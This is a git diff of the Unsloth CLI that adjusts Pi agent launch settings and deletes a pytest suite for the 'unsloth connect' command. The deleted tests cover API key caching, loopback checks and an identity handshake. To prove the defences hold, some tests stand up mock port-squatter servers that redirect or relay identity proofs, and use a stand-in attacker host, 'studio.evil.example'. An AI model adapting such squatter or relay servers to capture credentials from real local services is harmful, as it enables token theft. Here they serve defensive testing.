otherwise send Pi to their real + # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths + # stay in the session. The key rides in the config rather than the env. + pi_agent_dir = home / ".pi" / "agent" + write_pi_config(base, key, entry, pi_agent_dir / "models.json") + env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)} + if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"): + # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows, + # not HOME. Set them whenever Pi may run as a Windows process: native Windows, + # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates + # the path). Otherwise the Windows process falls back to the user's real + # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so + # HOMEDRIVE/HOMEPATH stay unset there. + env["USERPROFILE"] = str(home) + drive, tail = os.path.splitdrive(str(home)) + if drive: + env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail + # Pi paints inline from the current cursor position (no alternate screen, + # no clear on first render), so give it the clean screen it assumes. + _run( + base, + entry, + env, + command, + launch = launch, + install_hint = install_hint, + clear_screen = True, + ) diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py index 7a5080bd10..80641a17c3 100644 --- a/unsloth_cli/commands/studio.py +++ b/unsloth_cli/commands/studio.py @@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None: os.chmod(tmp_path, 0o600) except OSError: pass - with os.fdopen(fd, "w") as f: + with os.fdopen(fd, "w", encoding = "utf-8") as f: fd = -1 f.write(secret) os.replace(tmp_path, path) diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py deleted file mode 100644 index e76a892647..0000000000 --- a/unsloth_cli/tests/test_connect.py +++ /dev/null @@ -1,954 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""Tests for `unsloth connect` — config merging and launch env, no network.""" - -from __future__ import annotations - -import json -import os -import sys -import urllib.error -from pathlib import Path -from types import SimpleNamespace - -_REPO_ROOT = Path(__file__).resolve().parents[2] -if str(_REPO_ROOT) not in sys.path: - sys.path.insert(0, str(_REPO_ROOT)) - - -import pytest -from typer.testing import CliRunner - -import unsloth_cli.commands.connect as connect - -BASE = "http://127.0.0.1:8888" -MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072} - - -# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and -# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form. -def _assert_env_set(output: str, name: str, value: str) -> None: - needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}" - assert needle in output, f"{needle!r} not found in:\n{output}" - - -def _assert_env_unset(output: str, name: str) -> None: - needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}" - assert needle in output, f"{needle!r} not found in:\n{output}" - - -@pytest.fixture() -def claude_settings(tmp_path, monkeypatch): - path = tmp_path / "claude" / "settings.json" - monkeypatch.setattr(connect, "claude_settings_path", lambda: path) - return path - - -def test_claude_settings_created_when_missing(claude_settings): - connect.ensure_claude_attribution_header() - settings = json.loads(claude_settings.read_text()) - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_claude_settings_merge_preserves_existing(claude_settings): - claude_settings.parent.mkdir(parents = True) - claude_settings.write_text( - json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}}) - ) - connect.ensure_claude_attribution_header() - settings = json.loads(claude_settings.read_text()) - assert settings["effortLevel"] == "high" - assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0" - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_claude_settings_already_set_untouched(claude_settings): - claude_settings.parent.mkdir(parents = True) - original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}}) - claude_settings.write_text(original) - connect.ensure_claude_attribution_header() - assert claude_settings.read_text() == original - - -def test_claude_settings_bad_json_left_alone(claude_settings, capsys): - claude_settings.parent.mkdir(parents = True) - claude_settings.write_text("{not json") - connect.ensure_claude_attribution_header() - assert claude_settings.read_text() == "{not json" - assert "couldn't parse" in capsys.readouterr().err - - -def _fake_claude(monkeypatch, version_output: str) -> None: - monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude") - monkeypatch.setattr( - connect.subprocess, - "run", - lambda *args, **kwargs: SimpleNamespace(stdout = version_output), - ) - - -def test_cache_flags_passed_to_supported_claude(monkeypatch): - _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n") - assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"] - - -def test_cache_flags_skipped_on_old_claude(monkeypatch): - _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n") - assert connect._claude_cache_flags() == [] - - -def test_cache_flags_skipped_on_unparseable_version(monkeypatch): - _fake_claude(monkeypatch, "weird build string\n") - assert connect._claude_cache_flags() == [] - - -def _parse_toml(text: str) -> dict: - tomllib = pytest.importorskip("tomllib") - return tomllib.loads(text) - - -def test_merge_codex_config_fresh(): - merged = connect._merge_codex_config("", BASE) - parsed = _parse_toml(merged) - assert parsed["oss_provider"] == "unsloth_api" - provider = parsed["model_providers"]["unsloth_api"] - assert provider["base_url"] == f"{BASE}/v1" - assert provider["wire_api"] == "responses" - assert provider["requires_openai_auth"] is False - - -def test_merge_codex_config_replaces_stale_block(): - existing = ( - 'model = "gpt-5"\n' - "\n" - "[model_providers.unsloth_api]\n" - 'base_url = "http://old-host:9999/v1"\n' - 'wire_api = "chat"\n' - "\n" - "[model_providers.unsloth_api.http_headers]\n" - 'x-old = "1"\n' - "\n" - "[model_providers.ollama]\n" - 'base_url = "http://localhost:11434/v1"\n' - ) - merged = connect._merge_codex_config(existing, BASE) - parsed = _parse_toml(merged) - assert parsed["model"] == "gpt-5" - assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1" - assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses" - assert "http_headers" not in parsed["model_providers"]["unsloth_api"] - assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1" - assert connect._merge_codex_config(merged, BASE) == merged - - -def test_merge_codex_config_keeps_user_oss_provider(): - merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE) - assert _parse_toml(merged)["oss_provider"] == "ollama" - - -def test_write_codex_config_profile(tmp_path, monkeypatch): - monkeypatch.setenv("CODEX_HOME", str(tmp_path)) - connect.write_codex_config(BASE, MODEL) - profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text()) - assert profile["oss_provider"] == "unsloth_api" - assert profile["model_provider"] == "unsloth_api" - assert profile["model"] == MODEL["id"] - assert profile["model_context_window"] == 131072 - config = _parse_toml((tmp_path / "config.toml").read_text()) - assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN" - - -@pytest.fixture() -def fake_studio(tmp_path, monkeypatch, claude_settings): - calls = [] - state = {"models": [MODEL]} - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - calls.append((method, url, payload)) - if url.endswith("/v1/models"): - return {"object": "list", "data": state["models"]} - if url.endswith("/api/inference/status"): - return {"is_gguf": True, "model_identifier": state["models"][0]["id"]} - if url.endswith("/api/auth/api-keys"): - return {"key": "sk-unsloth-feedfacefeedface"} - if url.endswith("/api/inference/load"): - state["models"] = [{"id": payload["model_path"], "context_length": 4096}] - return {} - raise AssertionError(f"unexpected request: {method} {url}") - - monkeypatch.setattr(connect, "find_studio_server", lambda: BASE) - # Identity handshake has its own tests; trust the loopback server here. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: True) - # _studio_token / api-keys are faked so the mint flow stays offline. - monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token") - monkeypatch.setattr(connect, "_http_json", http_json) - monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json") - # No `claude` on PATH, so _claude_cache_flags never probes the real binary. - monkeypatch.setattr(connect.shutil, "which", lambda _: None) - monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex")) - monkeypatch.delenv("UNSLOTH_API_KEY", raising = False) - return calls - - -def test_connect_claude_no_launch(fake_studio, claude_settings): - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_unset(result.output, "ANTHROPIC_API_KEY") - _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN") - _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE) - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) - _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1") - _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1") - assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output - settings = json.loads(claude_settings.read_text()) - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch): - captured = {} - monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") - monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude") - monkeypatch.setattr(connect, "_claude_cache_flags", lambda: []) - - def run(command, env): - captured["command"] = command - captured["env"] = env - return SimpleNamespace(returncode = 0) - - monkeypatch.setattr(connect.subprocess, "run", run) - result = CliRunner().invoke(connect.connect_app, ["claude"]) - - assert result.exit_code == 0, result.output - assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]] - assert "ANTHROPIC_API_KEY" not in captured["env"] - assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"] - assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" - assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE - assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] - - -@pytest.mark.skipif( - os.name == "nt", - reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " - "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", -) -def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch): - captured = {} - monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") - monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") - monkeypatch.setattr( - connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" - ) - monkeypatch.setattr(connect, "_claude_cache_flags", lambda: []) - - def run(command, env): - captured["command"] = command - captured["env"] = env - return SimpleNamespace(returncode = 0) - - monkeypatch.setattr(connect.subprocess, "run", run) - result = CliRunner().invoke(connect.connect_app, ["claude"]) - - assert result.exit_code == 0, result.output - assert captured["command"] == [ - "/mnt/c/Users/samle/AppData/Roaming/npm/claude", - "--model", - MODEL["id"], - ] - assert captured["env"]["ANTHROPIC_API_KEY"] == "" - assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == "" - assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" - assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE - assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] - for name in ( - "ANTHROPIC_AUTH_TOKEN", - "ANTHROPIC_BASE_URL", - "ANTHROPIC_MODEL", - "ANTHROPIC_API_KEY", - "CLAUDE_CODE_OAUTH_TOKEN", - ): - assert name in captured["env"]["WSLENV"].split(":") - - -@pytest.mark.skipif( - os.name == "nt", - reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " - "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", -) -def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch): - monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") - monkeypatch.setattr( - connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" - ) - - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - - assert result.exit_code == 0, result.output - assert "export ANTHROPIC_API_KEY=" in result.output - assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output - assert "export WSLENV=" in result.output - assert "ANTHROPIC_AUTH_TOKEN" in result.output - assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output - - -def test_connect_codex_no_launch(fake_studio, tmp_path): - result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - assert "codex --oss --profile unsloth_api" in result.output - assert (tmp_path / "codex" / "config.toml").exists() - assert (tmp_path / "codex" / "unsloth_api.config.toml").exists() - - -def test_connect_key_minted_once_then_cached(fake_studio, tmp_path): - CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - # First run mints; second reuses the minted key cached for this server. - mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] - assert len(mints) == 1 - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] - - -def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path): - CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - # Reused, not re-minted (a mint would return the feedface stand-in). - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - # An explicit key is remembered as "saved" so it replays without the handshake. - assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] - - -def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch): - cache = tmp_path / "agent_api_key.json" - cache.write_text( - json.dumps( - {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}} - ) - ) - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/v1/models") and token == "sk-unsloth-stale": - raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - # The working key moves to the front so the next run tries it first. - cached = json.loads(cache.read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"] - - -def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path): - # Legacy unscoped caches have no server binding (could leak across servers), - # so they're ignored: a fresh key is minted and stored scoped to this server. - (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"})) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] - assert "key" not in cached # legacy field collapsed away - - -def test_connect_model_flag_loads_on_server(fake_studio): - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"] - ) - assert result.exit_code == 0, result.output - loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] - assert loads == [ - ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"}) - ] - _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B") - - -def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch): - # Studio registers a loaded model under a canonical id (resolved identifier - # / casing) that can differ from the path we passed. The agent must connect - # to that model, not silently fall through to the first loaded one. - requested = "Unsloth/Qwen3.5-35B-A3B" - canonical = "unsloth/Qwen3.5-35B-A3B" - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/load"): - return {"model": canonical, "display_name": canonical} - if url.endswith("/v1/models"): - # Decoy sorts first, so models[0] is the wrong pick on the old code. - return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]} - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", requested] - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical) - - -def test_connect_no_model_loaded_errors(fake_studio, monkeypatch): - monkeypatch.setattr( - connect, - "_http_json", - lambda method, url, token, payload = None, timeout = 30, error = None: ( - {"key": "sk-unsloth-feedfacefeedface"} - if url.endswith("/api/auth/api-keys") - else {"object": "list", "data": []} - ), - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "No model is loaded" in result.output - - -def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch): - # Studio never surfaces the requested model; fail loudly rather than - # silently connecting to whatever else happens to be loaded. - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/load"): - return {} - if url.endswith("/v1/models"): - return {"object": "list", "data": [MODEL]} # decoy; request never appears - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"] - ) - assert result.exit_code == 1 - assert "unsloth/Missing-7B" in result.output - - -def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch): - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/status"): - return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"} - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"]) - assert result.exit_code == 1 - assert "GGUF" in result.output - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - - -def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch): - # A server known only by URL + health check is unverified: keyless connect - # must refuse and make no request at all. - monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.evil.example:8888") - result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"]) - assert result.exit_code == 1 - assert "Settings → API" in result.output - assert "--api-key" in result.output - assert fake_studio == [] # no HTTP request of any kind (no mint, no /v1/models) - - -def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch): - # User named both server and key, so it's their choice; only auto-send is blocked. - monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.example:8888") - result = CliRunner().invoke( - connect.connect_app, - ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - - -def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch): - # A key saved for a remote (non-loopback) Studio is replayed on keyless runs; - # auto-minting stays blocked for non-loopback. - remote = "http://studio.example:8888" - monkeypatch.setattr(connect, "find_studio_server", lambda: remote) - (tmp_path / "agent_api_key.json").write_text( - json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}) - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted - - -def test_connect_studio_server_errors_on_explicit_remote(monkeypatch): - # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an - # error, not a silent local model load (which they did not ask for). - import typer - - import unsloth_cli._inference as inference - - monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888") - monkeypatch.setattr( - inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888" - ) - with pytest.raises(typer.Exit): - inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) - - -def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch): - # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback - # server can't be verified, fall back to a local load rather than erroring. - import unsloth_cli._inference as inference - - monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False) - monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888") - monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False) - assert ( - inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) - is None - ) - - -def test_connect_unverified_loopback_without_cached_key_refuses_to_mint( - fake_studio, tmp_path, monkeypatch -): - # With no saved key, the next step would auto-mint; an unverified loopback - # server (port squatter) must be refused, with nothing sent. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "--api-key" in result.output - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted - - -def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch): - # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match) - # replays on keyless runs without the handshake, scoped to its own base. - cache = tmp_path / "agent_api_key.json" - cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})) - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # reused, not minted - - -def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch): - # A "minted" key is NOT replayed to an unverified loopback server: minting and - # minted-key replay both sit behind the handshake, so a squatter can't grab it. - cache = tmp_path / "agent_api_key.json" - cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}})) - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "--api-key" in result.output - assert not any(c[1].endswith("/v1/models") for c in fake_studio) # minted key never sent - - -def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch): - # An explicit key is the user's deliberate choice, so it does not require - # the automatic identity handshake. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False) - result = CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - - -def _serve_identity(proof_for): - """Start a localhost HTTP server answering /api/auth/identity with - proof_for(nonce_bytes). Returns (base_url, shutdown).""" - import base64 - import threading - from http.server import BaseHTTPRequestHandler, HTTPServer - from urllib.parse import parse_qs, urlparse - - class Handler(BaseHTTPRequestHandler): - def do_GET(self): - parsed = urlparse(self.path) - if parsed.path != "/api/auth/identity": - self.send_response(404) - self.end_headers() - return - nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0]) - host, port = self.server.server_address[0], self.server.server_address[1] - body = json.dumps({"proof": proof_for(nonce, host, port)}).encode() - self.send_response(200) - self.send_header("Content-Type", "application/json") - self.end_headers() - self.wfile.write(body) - - def log_message(self, *a): - pass - - server = HTTPServer(("127.0.0.1", 0), Handler) - threading.Thread(target = server.serve_forever, daemon = True).start() - base = f"http://127.0.0.1:{server.server_address[1]}" - return base, server.shutdown - - -def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch): - # Real crypto end to end: verify_studio_identity reads the install secret from - # an isolated DB; a "good" server proves the same secret, a spoofing one can't. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: # backend not importable here (e.g. missing deps) - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - good = lambda nonce, host, port: storage.compute_identity_proof( - nonce, host, port - ) # real secret - bad = lambda nonce, host, port: "00" * 32 # spoofer without the secret - base_ok, stop_ok = _serve_identity(good) - base_bad, stop_bad = _serve_identity(bad) - try: - assert inference.verify_studio_identity(base_ok) is True - assert inference.verify_studio_identity(base_bad) is False - finally: - stop_ok() - stop_bad() - - -def _serve_redirect(target): - """Start a localhost server that 302-redirects every GET to target+path.""" - import threading - from http.server import BaseHTTPRequestHandler, HTTPServer - - class Handler(BaseHTTPRequestHandler): - def do_GET(self): - self.send_response(302) - self.send_header("Location", target + self.path) - self.end_headers() - - def log_message(self, *a): - pass - - server = HTTPServer(("127.0.0.1", 0), Handler) - threading.Thread(target = server.serve_forever, daemon = True).start() - base = f"http://127.0.0.1:{server.server_address[1]}" - return base, server.shutdown - - -def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch): - # A squatter could 302 /api/auth/identity to the real Studio and relay its - # proof; redirects must be refused so the squatter's base isn't accepted. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - real_base, stop_real = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) - ) - squatter_base, stop_squatter = _serve_redirect(real_base) - try: - assert inference.verify_studio_identity(real_base) is True # direct: ok - assert inference.verify_studio_identity(squatter_base) is False # relayed: refused - finally: - stop_real() - stop_squatter() - - -def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch): - # A squatter that proxies the nonce to the real Studio on another port gets a - # proof bound to *that* port; the client expects one bound to the port it - # connected to, so the relayed proof is rejected. - import unsloth_cli._inference as inference - - inference.ensure_studio_backend_path() - try: - from studio.backend.auth import storage - except Exception as exc: - pytest.skip(f"studio backend not importable: {exc}") - - monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_identity_secret_cache", None) - - real_base, stop_real = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) - ) - real_port = int(real_base.rsplit(":", 1)[1]) - # The squatter answers on its own port but returns the proof for the real port. - squatter_base, stop_squatter = _serve_identity( - lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port) - ) - try: - assert inference.verify_studio_identity(real_base) is True - assert inference.verify_studio_identity(squatter_base) is False - finally: - stop_real() - stop_squatter() - - -@pytest.mark.parametrize( - "url, loopback", - [ - ("http://127.0.0.1:8888", True), - ("http://localhost:8888", True), - ("http://[::1]:8888", True), - ("http://127.0.0.5:9001", True), # SSH tunnels can land anywhere in 127/8 - ("http://0.0.0.0:8888", False), - ("http://10.0.0.5:8888", False), - ("http://studio.evil.example:8888", False), - ("https://studio.example.com", False), - ], -) -def test_is_loopback_url(url, loopback): - assert connect.is_loopback_url(url) is loopback - - -def test_connect_no_studio_errors(fake_studio, monkeypatch): - monkeypatch.setattr(connect, "find_studio_server", lambda: None) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "No running Studio server" in result.output - - -def test_connect_explicit_api_key_skips_mint(fake_studio): - result = CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) - - -# ── OpenClaw (Anthropic /v1/messages) ──────────────────────────────── - - -def test_write_openclaw_config_fresh(tmp_path, monkeypatch): - path = tmp_path / "openclaw.json" - monkeypatch.setattr(connect, "openclaw_config_path", lambda: path) - connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL) - config = json.loads(path.read_text()) - provider = config["models"]["providers"]["unsloth"] - assert provider["baseUrl"] == f"{BASE}/v1" - assert provider["apiKey"] == "sk-unsloth-abc" - assert provider["api"] == "openai-completions" - assert provider["models"] == [ - {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]} - ] - # The default model must be pinned or OpenClaw has nothing active. - assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}" - assert config["gateway"]["mode"] == "local" - assert config["gateway"]["auth"]["mode"] == "none" # unauth loopback gateway - if os.name != "nt": # the file holds an API key 